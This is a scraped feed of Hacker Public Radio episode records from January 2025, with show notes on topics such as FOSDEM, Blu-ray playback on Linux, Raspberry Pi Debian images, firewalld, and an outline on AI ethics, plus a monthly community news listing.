                                                            \n
                                                            \n

                                                            \n

                                                            \n\nYou can buy the book in different places, both physical copy or ebook.  However, the book is also available for free at craftinginterpreters.com.\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nI would say this book is a labour of love by the author.  Highly recommended. \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\niota signing off\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n","hostid":440,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Interpreter, Compiler","version":0,"downloads":0,"valid":1}, {"id":4297,"date":"2025-01-21","title":"Let me tell you a bit about FOSDEM","duration":551,"summary":"I would like to invite you all over to Brussels to attend FOSDEM","notes":"

                                                            \nA Brief History of FOSDEM

                                                            \n
                                                              \n
                                                            • \n\nFounded in 2001\n by Raphaël Bauduin as OSDEM.
                                                            • \n
                                                            • \n\nFirst event\n held at Université Libre de Bruxelles (ULB) with ~200 attendees.
                                                            • \n
                                                            • \nGrew to become \none of the largest open-source events\n globally.
                                                            • \n
                                                            • \n\nCore values\n: Free to attend, volunteer-run, and vendor-neutral.
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThe FOSDEM 2025 Program

                                                            \n
                                                              \n
                                                            • \n\n50+ devrooms\n, each dedicated to specific topics or communities:
                                                            • \n
                                                            • \nEmbedded systems, Python, decentralized internet, documentation, and more.
                                                            • \n
                                                            • \n\nHighlighted keynotes\n:
                                                            • \n
                                                            • \nTalks from prominent figures in the open-source community.
                                                            • \n
                                                            • \nTopics addressing the future of open-source collaboration and technology.
                                                            • \n
                                                            • \n\nFOSDEM Junior track\n:
                                                            • \n
                                                            • \nWorkshops and talks designed for younger attendees.
                                                            • \n
                                                            • \nAll content in English, which could be a challenge for some kids.
                                                            • \n
                                                            • \n\nLightning talks\n:
                                                            • \n
                                                            • \n15-minute presentations showcasing a variety of projects and ideas.
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSide-Events: Bytenight and More

                                                            \n
                                                              \n
                                                            • \n\nBytenight\n:
                                                            • \n
                                                            • \nCasual evening gathering for networking and unwinding.
                                                            • \n
                                                            • \nOffers a relaxed, vibrant atmosphere to share ideas and connect.
                                                            • \n
                                                            • \n\nUnofficial FOSS-Nerds-Only Party at HSBXL\n:
                                                            • \n
                                                            • \nKnown informally as \"Bytenight at HSBXL.\"
                                                            • \n
                                                            • \nA private gathering for open-source enthusiasts and contributors.
                                                            • \n
                                                            • \nHosted at the \nHackerspace Brussels (HSBXL)\n, providing an intimate, nerd-centric atmosphere.
                                                            • \n
                                                            • \nIncludes engaging conversations, demonstrations of projects, and a chance to meet like-minded individuals in a more exclusive setting.
                                                            • \n
                                                            • \nOther informal meetups and social events scattered across Brussels.
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nEnter OFFDEM: An Open-Source Evolution

                                                            \n
                                                              \n
                                                            • \n\nWhat is OFFDEM?\n
                                                            • \n
                                                            • \nStands for \"Off FOSDEM.\"
                                                            • \n
                                                            • \nCreated as an \nalternative for those unhappy with FOSDEM's corporate tone\n.
                                                            • \n
                                                            • \nPrioritizes \ninformal, experimental, and non-commercial discussions\n.
                                                            • \n
                                                            • \n\nKey features\n:
                                                            • \n
                                                            • \nDecentralized gathering with workshops, art installations, and unconference-style sessions.
                                                            • \n
                                                            • \nReflects the \ndiversity and adaptability\n of the open-source community.
                                                            • \n
                                                            • \n\nComplementary to FOSDEM\n:
                                                            • \n
                                                            • \nNot a competition but an extension of the open-source ethos.
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWhy FOSDEM Matters

                                                            \n
                                                              \n
                                                            • \n\nCelebration of open-source values\n:
                                                            • \n
                                                            • \nCollaboration, transparency, and freedom.
                                                            • \n
                                                            • \n\nOpportunities\n:
                                                            • \n
                                                            • \nExchange ideas, launch projects, and strengthen communities.
                                                            • \n
                                                            • \n\nInclusivity\n:
                                                            • \n
                                                            • \nA space for everyone, from seasoned contributors to newcomers.
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWrapping Up

                                                            \n
                                                              \n
                                                            • \n\nKey takeaways\n:
                                                            • \n
                                                            • \nFOSDEM showcases the best of community-driven initiatives.
                                                            • \n
                                                            • \nSide-events like Bytenight and OFFDEM highlight the evolving open-source spirit.
                                                            • \n
                                                            • \n\nJoin the conversation\n:
                                                            • \n
                                                            • \nShare your experiences, must-visit devrooms, or favorite talks.
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWebpages

                                                            \n\n","hostid":433,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"FOSDEM,FOSS, Event, Brussels","version":0,"downloads":0,"valid":1}, {"id":4298,"date":"2025-01-22","title":"Playing a Blu-ray disk directly from Linux.","duration":352,"summary":"My own found solution.","notes":"

                                                            \nGreetings and welcome to Hacker Public Radio.

                                                            \n

                                                            \nMy name is Peter Paterson, also known as SolusSpider.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIn my spare time I like to watch scifi shows and movies, including\nthose about superheroes.

                                                            \n

                                                            \nI am so looking forward to the new Superman movie by DC, with\nJames Gunn as showrunner. In that film the actor Nathan Fillion\nplays a Green Lantern named Guy Gardner.

                                                            \n

                                                            \nRecently I remembered that I owned a Green Lantern Blu-ray\nanimated movie with Nathan Fillion as the voice of Hal Jordan.\nThat movie is named Emerald Knights.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThese days when I purchase a Blu-ray it normally comes with a\ndigital code for \nMovies Anywhere\n. Therefore I often never play the physical disk at all. This\nparticular disk did not have that option.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI searched the streaming services for where to watch Green\nLantern: Emerald Knights. Seems it is only available for rent or\npurchase. Obviously since I own the disk I am not going to do\nthat.

                                                            \n

                                                            \nTherefore, I tried once again to try to play the disk directly on\nmy Linux system.

                                                            \n

                                                            \nWe do have dedicated Blu-ray players in the house. One is a\nSamsung unit in our living room, but that is where my\nDragon-in-Law Eva lives. The other is a Playstation 3 in our\nbedroom. There is also the factor that I wanted to watch while\ndoing other computer projects in my own room.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMy main computer system is a \nSystem76 Thelio desktop running \nPCLinuxOS as the operating system.

                                                            \n

                                                            \nConnected via USB is an \nAsus External Blu-Ray BW-16D1H-U player\n.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nRather than go into detail with all that did not work, I shall\ninstead focus on informing you what worked well on my own system.\n

                                                            \n

                                                            \nMany of the forums lead you down strange paths.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIt all came down to installing all I needed from Flatpak via \nFlathub.org \n

                                                            \n

                                                            \nHere is all that I installed:

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                              \n
                                                            • \n\nVLC\n: org.videolan.VLC
                                                            • \n
                                                            • \n\nMakeMKV\n: com.makemkv.MakeMKV
                                                            • \n
                                                            • \n\nBlu-ray java plugin\n: org.videolan.VLC.Plugin.bdj
                                                            • \n
                                                            • \n\nFDK-AAC encoding plugin\n: org.videolan.VLC.Plugin.fdkaac
                                                            • \n
                                                            • \n\nMakeMKV plugin for VLC\n: org.videolan.VLC.Plugin.makemkv
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nDetailed program names are in the shownotes.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTo install these direct from terminal type:

                                                            \n
                                                            flatpak install (name of program)\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThese instructions assume that you already have Flatpak installed\non your Linux system.

                                                            \n

                                                            \nIf you do not, then the Flathub website will give you guidance for\nyour particular distro.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI did have to uninstall VLC first from PCLinuxOS, which had been\ninstalled from the repo. This enabled all the relevant library\nfiles to be accessible across Flatpak.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMakeMKV is a format converter, or transcoder, that converts\nthe files on a physical disk to MKV files. Many use this program\nto copy their Blu-Rays to a storage medium for their own\nhome-streaming purposes. I have yet to go down that road, as I\njust wanted to play the disk. Plus I don't have that much storage.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI originally purchased MakeMKV for $50 in 2020.

                                                            \n

                                                            \nYes, paid.

                                                            \n

                                                            \nIt is a proprietary program, but then again so is the Blu-Ray disk\nencryption.

                                                            \n

                                                            \nThese days it costs $60 for a lifetime licence.

                                                            \n

                                                            \nThat said, MakeMKV is beta software that is free to use, and they\nsupply a licence key that is good for a month. The only downside\nis that you have to visit their \nforum page every month to obtain the updated key code.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOnce all this was installed, I opened VLC, clicked on 'Open\nDisk...' from Media, selected Blu-ray from Disk Selection, then\nclicked on Play.

                                                            \n

                                                            \nFor me it just worked!

                                                            \n

                                                            \nHope it shall do for you also.

                                                            \n

                                                            \nIt's so great to be able to directly play Blu-rays on my Linux\nsystem again.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nRemember the Green Lantern oath:

                                                            \n
                                                            \n\"In brightest day, in blackest night,
                                                            \n
                                                            \nno evil shall escape my sight.
                                                            \n
                                                            \nLet those who worship evil's might beware my power…
                                                            \n
                                                            \nGreen Lantern's light!\"
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThank you so much for listening to my latest topic of interest.

                                                            \n

                                                            \nPlease leave me a comment on the HPR show page.

                                                            \n

                                                            \nI look forward to hearing from you.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nNow go forth, take care of yourself, also your fellow neighbours,\nand record your own HPR show!

                                                            \n","hostid":437,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Blu-ray,VLC,MakeMKV,Flatpak,Flathub,Green Lantern,Nathan Fillion,Linux","version":0,"downloads":0,"valid":1}, {"id":4299,"date":"2025-01-23","title":"Building your own Debian images for your Raspberry Pi","duration":609,"summary":"You can build your own image for you Pi, so that it's more customized from the first boot","notes":"

                                                            \nOn https://raspi.debian.net/ one time the image was broken, so I had to built it myself.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://salsa.debian.org/raspi-team/image-specs\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThe makefile can create you a yaml file for your pi model and your release of Debian. Then you can edit that file to do whatever you want to the system, before making it into an image.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nFor example:

                                                            \n

                                                            \n- In the section apt/packages, add sudo.

                                                            \n

                                                            \n- Create a user, add it to the sudo group, with password \"\" and /bin/bash for shell

                                                            \n

                                                            \n- Create a .ssh for your user, and echo in your SSH public keyboard

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThat way you can boot into your new Debian system without having to have a screen.

                                                            \n

                                                            \nAs soon as you login, the first thing you should do is reset your own password.

                                                            \n

                                                            \nBy doing -p \"\" we set the password to empty.

                                                            \n

                                                            \nIf we had not done -p \"\" the password would have been empty but locked, so you wouldn't be able to sudo.

                                                            \n

                                                            \nAlso go ahead and lock your root user password, which you could also do from the file.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBuild your image, and go.

                                                            \n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"debian, raspberryPi","version":0,"downloads":0,"valid":1}, {"id":4300,"date":"2025-01-24","title":"Isaac Asimov: I, Robot","duration":1105,"summary":"A look at the robot stories of Isaac Asimov and the Three Laws of Robotics","notes":"

                                                            Isaac Asimov invented the Three Laws of Robotics in a series of\nstories that changed how robots were depicted in fiction. These stories\nhave become so influential that they are worth a little look.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Asimov, Robots","version":0,"downloads":0,"valid":1}, {"id":4301,"date":"2025-01-27","title":"Wide screen, synth, e-bike, led matrix clock and jewellery making","duration":1293,"summary":"Lee talks about what got his attention last year and over the new year","notes":"\n

                                                            \n Ultra wide monitor

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n An LG UltraWide monitor supports a 32:9 aspect ratio, up to 5120 x\n 1440.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n \n \"A\n \n \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n Display drivers\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            static VIC_MODE gpu_vic_mode_table[] =\n{\n   {1, {640, 480}},\n   {2, {720, 480}},\n   ...\n   {93, {3840, 2160}},\n   {94, {3840, 2160}},\n   ...\n   {127, {5120, 2160} },\n}\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n \n \"a\n \n \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n Games\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n No Man's Sky\n

                                                            \n

                                                            \n \n \n \"A\n \n \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n Skyrim\n

                                                            \n

                                                            \n \n \n \"yet\n \n \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n Synth\n

                                                            \n

                                                            \n \n https://apps.apple.com/gb/app/mela-3-synth-fx-midi/id1612218703\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n E-bike\n

                                                            \n

                                                            \n \n Turbo Vado\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n Arduino Clock\n

                                                            \n

                                                            \n \n \n \"A\n \n \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n Jewellery making\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n \"A\n\n \n

                                                            ","hostid":403,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"displays, cycling, gaming","version":0,"downloads":0,"valid":1}, {"id":4302,"date":"2025-01-28","title":"New Campaign Trail Playthrough","duration":1449,"summary":"Join Alexander [Lochyboy} as he plays new campaign trail","notes":"\n

                                                            \n In this show Lochyboy plays the game  https://www.newcampaigntrail.com/campaign-trail/index.html

                                                            \n \"A backup of the current Campaign Trail Game from AmericanHistoryUSA\n in order to protect the game and allow for easier modding/new\n potential scenarios. \"
                                                            \n
                                                            \n This is an archive of the source code of the site for the American\n election simulator known as The Campaign Trail. In it, players\n simulate various contested elections throughout American history,\n making choices and answering questions in order to improve their\n chances at winning. The original site is rarely updated, so this\n backup has been made with features added for easier modding.
                                                            \n
                                                            \n
                                                            \n \n ","hostid":434,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"new,campaign,trail,gaming","version":0,"downloads":0,"valid":1}, {"id":4303,"date":"2025-01-29","title":"TIL two things to do with firewalld","duration":516,"summary":"You can't use 10.0.0.0, and if you restart firewalld, you should restart your podman containers.","notes":"\n

                                                            \n Two things I learned recently:

                                                            \n
                                                              \n
                                                            1. You can't use the first and the last IP address in a /24\n block.
                                                            2. \n
                                                            3. When you start a podman container, it adds a source IP address\n to you Trusted zone in firewalld. If you restart firewalld, your\n podman container becomes inaccessible.
                                                            4. \n
                                                            \n

                                                            \n HPR show about CIDR notation: https://hackerpublicradio.org/eps/hpr4041/index.html

                                                            \n

                                                            \n
                                                            \n

                                                            ","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"firewalld, podman","version":0,"downloads":0,"valid":1}, {"id":4304,"date":"2025-01-30","title":"Travel Pouch for Cables","duration":252,"summary":"I have purchased a very useful travel pouch.","notes":"\n

                                                            \n This is about a travel pouch I purchased to organize my electronic\n cables and chargers. I have filled it with all of the cables,\n chargers, headphones, etc. that I might need when on the road. Now\n when I am packing I don't have to run around looking for cables, I\n only need to throw this pouch into my bag and I am ready to go.\n This is a real time saver, and I always have what I need.

                                                            \n

                                                            \n Links

                                                            \n ","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cable organizer, travel pouch","version":0,"downloads":0,"valid":1}, {"id":4305,"date":"2025-01-31","title":"My weight and my biases","duration":3151,"summary":"A personal reflection on the ethics of AI in our society.","notes":"

                                                            \nIntroduction

                                                            \n
                                                              \n
                                                            • \nGreeting and Context
                                                            • \n
                                                            • \nWelcome
                                                            • \n
                                                            • \nEpisode Overview
                                                            • \n
                                                            • \nWhy This Topic?
                                                            • \n
                                                            • \nUbiquity of AI
                                                            • \n
                                                            • \nEthics Matters for Builders and Hackers
                                                            • \n
                                                            • \nCommunity Responsibility
                                                            • \n
                                                            • \nCall to Exploration
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSetting the Stage

                                                            \n
                                                              \n
                                                            • \nWhat We’re Talking About
                                                            • \n
                                                            • \nDiscussion Centered on Commonly Used AI Applications
                                                            • \n
                                                            • \nWhat We’re Not Covering
                                                            • \n
                                                            • \nHistorical Perspective
                                                            • \n
                                                            • \nEarly AI Dreams
                                                            • \n
                                                            • \nModern Realities
                                                            • \n
                                                            • \nThe Hacker Ethos and Why It Matters
                                                            • \n
                                                            • \nTransparency and Openness
                                                            • \n
                                                            • \nEthical Frameworks
                                                            • \n
                                                            • \nEmpowering the Community
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTransparency and Openness

                                                            \n
                                                              \n
                                                            • \nOpen Source vs. Proprietary
                                                            • \n
                                                            • \nAccess to Source Code:
                                                            • \n
                                                            • \nAccess to Weights, Biases, and Training Methods
                                                            • \n
                                                            • \nTraining Data
                                                            • \n
                                                            • \nSources of Data
                                                            • \n
                                                            • \nOpen Datasets vs. Restricted or Proprietary Data
                                                            • \n
                                                            • \nEthical Questions
                                                            • \n
                                                            • \nTrade-Offs in Permission and Diversity
                                                            • \n
                                                            • \nOpenness vs. Misuse
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nLegal and Regulatory Dimensions

                                                            \n
                                                              \n
                                                            • \nConsent & Permissions
                                                            • \n
                                                            • \nData Usage
                                                            • \n
                                                            • \nGlobal Variations
                                                            • \n
                                                            • \nAccountability
                                                            • \n
                                                            • \nLiability in AI Systems
                                                            • \n
                                                            • \nCorporate vs. Individual Responsibility
                                                            • \n
                                                            • \nRegulatory Landscape
                                                            • \n
                                                            • \nDifferent Approaches
                                                            • \n
                                                            • \nBalancing Innovation and Control
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSustainability Concerns

                                                            \n
                                                              \n
                                                            • \nEnergy Consumption
                                                            • \n
                                                            • \nCarbon Footprint of Training and Inference
                                                            • \n
                                                            • \nEnvironmental Impact of Data Centers
                                                            • \n
                                                            • \nFuture Solutions
                                                            • \n
                                                            • \nEfficient Models and Green Data Centers
                                                            • \n
                                                            • \nBalancing Innovation with Responsibility
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBias, Fairness, and Societal Impact

                                                            \n
                                                              \n
                                                            • \nData Bias
                                                            • \n
                                                            • \nDiscriminatory Outcomes
                                                            • \n
                                                            • \nDetection and Mitigation
                                                            • \n
                                                            • \nFairness in Decision-Making
                                                            • \n
                                                            • \nCritical Sectors
                                                            • \n
                                                            • \nSystemic Impact
                                                            • \n
                                                            • \nSocial Engineering & Manipulation
                                                            • \n
                                                            • \nInfluence on Public Opinion
                                                            • \n
                                                            • \nMisinformation Risks
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nThe Addictive Potential of AI and “AI Buddies”\n

                                                            \n
                                                              \n
                                                            • \nEmbedded (Often Invisibly) in Social Media
                                                            • \n
                                                            • \nSubtle Integration
                                                            • \n
                                                            • \nContinuous Engagement Loops
                                                            • \n
                                                            • \nAI Buddies and Emotional Dependence
                                                            • \n
                                                            • \nAlways-On Validation
                                                            • \n
                                                            • \nEmotional “Self-Indulgence”
                                                            • \n
                                                            • \nAI Agents Doing the “Boring Work”
                                                            • \n
                                                            • \nFrom Assistance to Dependency:
                                                            • \n
                                                            • \nLower Friction, Higher Usage
                                                            • \n
                                                            • \nVulnerable Users and Youth
                                                            • \n
                                                            • \nTeens in Crisis
                                                            • \n
                                                            • \nShaping Self-Image
                                                            • \n
                                                            • \nDesign Choices That Amplify Attachment
                                                            • \n
                                                            • \nHuman-Like Tones and Expressions
                                                            • \n
                                                            • \nReward Systems and “Leveling Up”
                                                            • \n
                                                            • \nMitigating Risks to Mental and Social Well-Being
                                                            • \n
                                                            • \nUser Education
                                                            • \n
                                                            • \nEthical Product Design
                                                            • \n
                                                            • \nRegulatory Oversight
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nExplainability and Trust

                                                            \n
                                                              \n
                                                            • \nTransparency of Reasoning
                                                            • \n
                                                            • \nBlack-Box Challenge
                                                            • \n
                                                            • \nTechniques to Enhance Explainability
                                                            • \n
                                                            • \nUncertainty and Confidence Scores
                                                            • \n
                                                            • \nExpressing Certainty
                                                            • \n
                                                            • \nImportance in Critical Applications
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMilitary and Illicit Uses

                                                            \n
                                                              \n
                                                            • \nPsyOps and mass manipulation
                                                            • \n
                                                            • \nAI in Hacking and Phishing:
                                                            • \n
                                                            • \nAutomated Social Engineering and Psychological Operations (PsyOps):
                                                            • \n
                                                            • \nUndermining Trust:
                                                            • \n
                                                            • \nMilitary Applications
                                                            • \n
                                                            • \nAutonomous Weapons and Surveillance
                                                            • \n
                                                            • \nEthical Implications of Lethal Autonomy
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nLooking Forward

                                                            \n
                                                              \n
                                                            • \nInnovation vs. Caution
                                                            • \n
                                                            • \nStriking a Balance:
                                                            • \n
                                                            • \nPractical Considerations
                                                            • \n
                                                            • \nAdaptive Regulation
                                                            • \n
                                                            • \nEvolving Guidelines
                                                            • \n
                                                            • \nFlexible Frameworks
                                                            • \n
                                                            • \nCommunity Involvement
                                                            • \n
                                                            • \nOpen-Source Contributions
                                                            • \n
                                                            • \nPublic Debates and Awareness
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThinking like a hacker

                                                            \n

                                                            \n\n\nPreamble:\n\n\n I am not encouraging you to engage in illegal activity. Follow your conscience, obey your curiosity. Take up your responsibility in the world. You be the judge of what that implies.\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTinker, Reverse-Engineer, and Learn\n

                                                            \n
                                                              \n
                                                            • \nExplore Existing Models
                                                            • \n
                                                            • \nReverse-Engineering Proprietary Systems
                                                            • \n
                                                            • \nDIY Mini-Projects
                                                            • \n
                                                            \n

                                                            \n\nChampion Openness and Transparency\n

                                                            \n
                                                              \n
                                                            • \nContribute to Open-Source AI
                                                            • \n
                                                            • \nPush for Open Weights and Data
                                                            • \n
                                                            • \nEngage in Model Auditing
                                                            • \n
                                                            \n

                                                            \n\nThink Critically About Ethics and Privacy\n

                                                            \n
                                                              \n
                                                            • \nData Collection Scrutiny
                                                            • \n
                                                            • \nPrivacy by Design
                                                            • \n
                                                            • \nHacker Ethos Meets Ethical AI
                                                            • \n
                                                            \n

                                                            \n\nCollaborate and Share Knowledge\n

                                                            \n
                                                              \n
                                                            • \nParticipate in Hackathons and Research Sprints
                                                            • \n
                                                            • \nMentorship and Community Engagement
                                                            • \n
                                                            • \nPeer Review and Cross-Pollination
                                                            • \n
                                                            \n

                                                            \n\nHack the Bias—Literally\n

                                                            \n
                                                              \n
                                                            • \nOpen Audits on Model Bias
                                                            • \n
                                                            • \nCreate Bias-Resistant Tools
                                                            • \n
                                                            \n

                                                            \n\nInnovate Responsibly\n

                                                            \n
                                                              \n
                                                            • \nExperimentation with Purpose
                                                            • \n
                                                            • \nSustainable Innovation
                                                            • \n
                                                            \n

                                                            \n\nStay Vigilant on Addictive and Manipulative Designs\n

                                                            \n
                                                              \n
                                                            • \nCritical Examination
                                                            • \n
                                                            • \nPropose Alternatives
                                                            • \n
                                                            \n

                                                            \n\nBe the Watchdog—and Sound the Alarm\n

                                                            \n
                                                              \n
                                                            • \nReporting Flaws and Exploits
                                                            • \n
                                                            • \nEthical Whistleblowing
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nConclusion: Challenge to Think Like a Hacker\n

                                                            \n
                                                              \n
                                                            • \nSummation
                                                            • \n
                                                            • \nEmbrace the Hacker Ethos
                                                            • \n
                                                            • \nStay Curious, Stay Responsible
                                                            • \n
                                                            • \nFinal Note
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n","hostid":433,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"AI","version":0,"downloads":0,"valid":1}, {"id":4306,"date":"2025-02-03","title":"HPR Community News for January 2025","duration":6340,"summary":"Kevie, SGOTI, and Ken talk about shows released and comments posted in January 2025","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n iota.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4283Wed2025-01-01Toley bone repairMrX
                                                            4284Thu2025-01-02HPR Developer InformationKen Fallon
                                                            4285Fri2025-01-03What is on My Podcast Player 2024, Part 5Ahuka
                                                            4286Mon2025-01-06HPR Community News for December 2024HPR Volunteers
                                                            4287Tue2025-01-07Schedule audio recordings on the command lineKevie
                                                            4288Wed2025-01-08God's Pantry Food BankSolusSpider
                                                            4289Thu2025-01-09Welcome NuudleSome Guy On The Internet
                                                            4290Fri2025-01-10Playing Civilization IV, Part 5Ahuka
                                                            4291Mon2025-01-13AM on the Nyquist PromptLee
                                                            4292Tue2025-01-14Firefox Add-onsReto
                                                            4293Wed2025-01-15HTTrack website copier softwareHenrik Hemrin
                                                            4294Thu2025-01-16Schedule audio recordings on the command line - A bit of fine tuningKevie
                                                            4295Fri2025-01-17Three Holiday Hacks from 2023Ken Fallon
                                                            4296Mon2025-01-20Crafting Interpretersiota
                                                            4297Tue2025-01-21Let me tell you a bit about FOSDEMTrollercoaster
                                                            4298Wed2025-01-22Playing a Blu-ray disk directly from Linux.SolusSpider
                                                            4299Thu2025-01-23Building your own Debian images for your Raspberry Pidnt
                                                            4300Fri2025-01-24Isaac Asimov: I, RobotAhuka
                                                            4301Mon2025-01-27Wide screen, synth, e-bike, led matrix clock and jewellery makingLee
                                                            4302Tue2025-01-28New Campaign Trail PlaythroughLochyboy
                                                            4303Wed2025-01-29TIL two things to do with firewallddnt
                                                            4304Thu2025-01-30Travel Pouch for CablesAhuka
                                                            4305Fri2025-01-31My weight and my biasesTrollercoaster
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 43 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 7 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr4070\n(2024-03-08) \"Civilization III\"\nby Ahuka.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nRed Orm on 2025-01-01:\n\"hpr4070 :: Civilization III\"
                                                              • \n
                                                              • \nComment 2:\nKevin O'Brien on 2025-01-02:\n\"Thank you\"

                                                              \n
                                                            • hpr4260\n(2024-11-29) \"The Golden Age\"\nby Ahuka.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nMoss Bliss on 2025-01-01:\n\"Penguicon\"
                                                              • \n
                                                              • \nComment 2:\nKevin O'Brien on 2025-01-01:\n\"Sorry to hear it\"

                                                              \n
                                                            • hpr4274\n(2024-12-19) \"The Wreck - I'm alright!\"\nby Archer72.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nAnnebelle on 2025-01-15:\n\"Mark's Niece\"

                                                              \n
                                                            • hpr4280\n(2024-12-27) \"Isaac Asimov: The Foundation\"\nby Ahuka.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nRed Orm on 2025-01-01:\n\"hpr4280 :: Isaac Asimov: The Foundation\"
                                                              • \n
                                                              • \nComment 2:\nKevin O'Brien on 2025-01-02:\n\"Thank you\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 36 comments on 20 of this month's shows:

                                                            \n
                                                            • hpr4286\n(2025-01-06) \"HPR Community News for December 2024\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2025-01-09:\n\"Yes I did have that many books\"

                                                              \n
                                                            • hpr4287\n(2025-01-07) \"Schedule audio recordings on the command line\"\nby Kevie.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevie on 2025-01-07:\n\"example radio stream\"
                                                              • Comment 2:\nHenrik Hemrin on 2025-01-08:\n\"Inspiring episode\"

                                                              \n
                                                            • hpr4288\n(2025-01-08) \"God's Pantry Food Bank\"\nby SolusSpider.
